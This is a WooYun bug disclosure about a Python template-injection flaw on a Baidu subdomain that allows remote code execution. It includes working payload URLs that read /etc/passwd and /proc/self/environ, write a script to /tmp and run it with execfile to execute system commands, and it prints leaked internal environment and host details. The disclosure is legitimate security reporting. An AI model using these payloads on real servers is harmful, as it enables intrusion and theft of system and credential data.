当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0189837

漏洞标题:百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

相关厂商:百度

漏洞作者: lijiejie

提交时间:2016-03-27 23:17

修复时间:2016-05-11 23:20

公开时间:2016-05-11 23:20

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-27: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-04-06: 细节向核心白帽子及相关领域专家公开
2016-04-16: 细节向普通白帽子公开
2016-04-26: 细节向实习白帽子公开
2016-05-11: 细节向公众公开

简要描述:

百度某站点python模板远程代码执行, 可以执行任意python代码,进而执行任意系统命令(本例演示exec被禁的情况下执行系统命令的一种方法)

详细说明:

http://t.youhua.baidu.com/{{open('/etc/passwd').read()}}/about.html


python模板存在代码执行,可以执行任意python脚本。

漏洞证明:

先读取passwd:

http://t.youhua.baidu.com/{{open('/etc/passwd').read()}}/about.html


baidu_passwd.png


再读取/proc/self/environ(不截图了),得到:

LESSOPEN=|/usr/bin/lesspipe.sh %s
CVS_RSH=ssh
LOGNAME=work
USER=work
QTDIR=/usr/lib64/qt-3.3
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/opt/bin:/home/opt/bin:/home/work/bin
LANG=en_US
TERM=xterm
SHELL=/bin/bash
SHLVL=1
G_BROKEN_FILENAMES=1
SUPERVISOR_ENABLED=1
HISTSIZE=1000
SUDO_USER=hanfeihan
HOME=/home/work
MODULESHOME=/usr/share/Modules
USERNAME=work
SUDO_UID=192434
SUPERVISOR_PROCESS_NAME=uwsgi
SUPERVISOR_SERVER_URL=unix:///home/work/lingyun/program/supervisor/run/supervisor.sock
_=/home/work/lingyun/python/bin/supervisord
MODULEPATH=/usr/share/Modules/modulefiles:/etc/modulefiles
SUDO_COMMAND=/bin/bash
SUDO_GID=100000
OLDPWD=/home/work/lingyun/program
HOSTNAME=gzns-scloud-fhl-lingyun02.gzns.baidu.com
HISTCONTROL=ignoredups
PWD=/home/work/lingyun/program/supervisor
MAIL=/var/spool/mail/work
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.tbz=01;31:*.tbz2=01;31:*.bz=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf=01;36:
SUPERVISOR_GROUP_NAME=uwsgi
UWSGI_RELOADS=125
UWSGI_ORIGINAL_PROC_NAME=/home/work/lingyun/program/uwsgi/uwsgi


可以知道,当前用户是普通用户work。读hosts:

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
10.42.7.124 api.su.baidu.com


尝试读取/home/work/.bash_history,失败了,说明文件不存在。
继续测试exec执行代码,也失败了,估计是被框架或者百度去掉了:

baidu_exec_fail.png


eval是可以的,然而要执行系统命令,只有eval还做不到。

baidu_eval.png


注意: 此处模板中是无法执行多行的,为了执行系统命令,基本的思路是先写临时文件到/tmp,然后通过execfile函数来执行,把命令执行结果输出到/tmp/output,再读取/tmp/output的内容

写test.py: http://t.youhua.baidu.com/{{open('/tmp/test.py','w').write('import os;os.system("ps aux > /tmp/output")')}}/about.html 
读取test.py核对:http://t.youhua.baidu.com/{{open('/tmp/test.py').read()}}/about.html
执行test.py: http://t.youhua.baidu.com/{{execfile('/tmp/test.py')}}/about.html
读取output: http://t.youhua.baidu.com/{{open('/tmp/output').read()}}/about.html


如下图所示,已经可以执行系统命令,可进一步获取系统中的源代码和敏感配置信息。

baidu_ps_output.png


修复方案:

过滤禁止任意python代码执行

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-03-27 23:20

厂商回复:

感谢对百度安全的关注

最新状态:

暂无